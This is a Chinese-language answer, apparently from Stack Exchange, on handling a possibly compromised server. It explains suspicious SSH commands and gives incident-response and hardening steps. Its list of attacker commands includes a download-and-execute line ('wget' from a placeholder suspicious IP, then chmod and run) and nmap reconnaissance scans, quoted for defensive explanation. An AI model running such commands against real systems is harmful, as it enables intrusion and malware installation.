可疑SSH命令分析及服务器安全处置咨询

兄弟，先稳住！从你描述的情况来看，你的服务器大概率已经被未授权访问了——毕竟有可疑命令+俄罗斯溯源IP，先给你一步步拆解清楚，帮你把服务器拉回安全状态：

因为你没贴具体的命令列表，我就按和nmap相关、以及入侵者常用的操作来给你解释：

• 如果看到类似 nmap -sS [目标IP/网段]：这是半开端口扫描，入侵者用来偷偷探测目标机器开放的端口，属于入侵前的侦察动作，方便找可利用的入口
• 如果是 nmap -O [目标IP]：这是操作系统探测，用来识别目标机器的系统版本，好针对性地找漏洞发起攻击
• 要是出现 wget http://[可疑IP]/xxx.sh && chmod +x xxx.sh && ./xxx.sh：这是下载并执行恶意脚本，大概率是植入后门、挖矿程序或者窃取数据的恶意代码
• 还有 netstat -antp 或 ss -tulpn：入侵者用来查看当前网络连接，确认自己的控制链路是否稳定，或者找内网里其他可攻击的目标

别犹豫，立刻按下面的步骤操作：

• 先切断可疑连接：
  用 ss -tulpn 找出和那个俄罗斯IP相关的进程，记下进程ID（PID），然后用 kill -9 [PID] 强制杀掉；同时把这个IP拉黑，比如用防火墙：
  • Debian/Ubuntu：ufw deny from [可疑IP]
  • CentOS/RHEL：iptables -A INPUT -s [可疑IP] -j DROP
• 立刻锁定服务器权限：
  • 马上修改root密码，一定要用复杂密码（大小写+数字+特殊字符，至少16位），别用任何和业务、个人信息相关的内容
  • 检查所有用户的sudo权限，编辑 /etc/sudoers 时必须用 visudo 命令（避免语法错误锁死权限），删掉不该有sudo权限的用户
  • 关闭SSH密码登录，改用密钥登录：编辑 /etc/ssh/sshd_config，把 PasswordAuthentication 改成 no，然后重启sshd服务（systemctl restart sshd）
• 全面排查恶意程序：
  • 用 ps aux 看所有进程，找陌生的、占用CPU/内存异常高的进程，杀掉后直接删除对应的执行文件
  • 检查 /tmp、/var/tmp 这些临时目录，陌生的脚本、二进制文件全部删掉
  • 查看系统登录日志：Debian/Ubuntu看 /var/log/auth.log，CentOS/RHEL看 /var/log/secure，找异常的登录记录（比如多次失败登录、陌生IP成功登录）
  • 装个杀毒工具扫一遍，比如clamav：Debian/Ubuntu用 apt install clamav && clamscan -r /，CentOS用 yum install clamav && clamscan -r /（全量扫描可能慢，耐心等）
• 备份重要数据：
  在确认没有恶意进程的前提下，把网站文件、数据库备份到本地或者安全的云存储，别直接在可疑服务器上操作，最好用离线方式备份，避免被恶意程序篡改
• 修复漏洞堵入口：
  • 升级所有系统包：apt update && apt upgrade -y（Debian）或 yum update -y（CentOS）
  • 检查网站程序（比如WordPress、Nginx）的版本，更新到最新版，禁用不必要的插件/模块
  • 防火墙只开放必要端口（80、443、SSH端口），其他全部关闭

nmap本身是合法的运维工具，很多人用来排查网络问题，不是必须卸载，但要分情况：

• 如果nmap是入侵者偷偷安装的：必须卸载，还要检查有没有残留的扫描脚本、日志文件，彻底清理干净
  • 卸载命令：
    • Debian/Ubuntu：apt remove --purge nmap -y && apt autoremove -y
    • CentOS/RHEL：yum remove nmap -y
• 如果是你自己安装用来运维的：可以保留，但要限制使用权限，比如改成只有root能执行：chmod 700 /usr/bin/nmap，避免被入侵者滥用

为了避免再被入侵，做好这些：

• 用fail2ban自动拉黑暴力破解SSH的IP，减少被猜密码的风险
• 把SSH默认端口（22）改成不常见的端口，比如2222
• 安装入侵检测系统（比如OSSEC），实时监控系统异常行为
• 定期备份数据，至少每周一次，备份到离线存储
• 每月检查一次系统和网站程序的漏洞，及时更新

内容的提问来源于stack exchange，提问作者Riz